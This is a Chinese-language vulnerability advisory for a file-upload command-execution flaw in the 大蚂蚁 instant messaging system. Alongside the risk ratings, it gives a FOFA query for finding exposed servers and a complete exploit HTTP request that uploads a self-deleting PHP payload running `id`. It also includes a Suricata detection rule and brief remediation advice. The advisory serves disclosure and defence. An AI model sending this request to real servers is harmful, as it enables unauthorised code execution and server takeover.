大蚂蚁即时通信系统-upload_file-文件上传导致命令执行¶

大蚂蚁即时通信系统-upload_file-文件上传导致命令执行，攻击者可通过上传恶意文件导致服务器被控制。

影响版本¶

大蚂蚁即时通信系统

漏洞状态¶

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级¶

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现¶

FOFA：product="即时通讯系统"

POC/EXP：

POST /api/dispersedAddin/upload_file.html HTTP/1.1
Host: 127.0.0.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=m905cb6sucrf6i6munki07bc5c
Upgrade-Insecure-Requests: 1

------WebKitFormBoundary
Content-Disposition: form-data; name="file_info"

[{"file_path":"hello.php"}]
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="1.txt"

<?=`id`;unlink(__FILE__);?>
------WebKitFormBoundary--

sonrt规则：

alert http any any -> $HOME_NET any (
    msg:"大蚂蚁即时通信系统 - Webshell Upload via upload_file";
    flow:to_server,established;
    http.method; content:"POST";
    http.uri; content:"/api/dispersedAddin/upload_file.html";
    http.header; content:"Content-Type: multipart/form-data";
    http.request_body; content:"\"file_path\":\"hello.php\"";
    http.request_body; pcre:"/<\?=`id`;unlink\(__FILE__\);\?>/i";
    metadata:
        service http,
        affected_product "大蚂蚁即时通信系统",
        vulnerability_type "Webshell Upload RCE",
        severity "critical";
    classtype:web-application-attack;
    sid:1000602;
    rev:1;
    priority:1;
)

漏洞修复¶

关闭互联网暴露面或接口设置访问权限，升级至安全版本。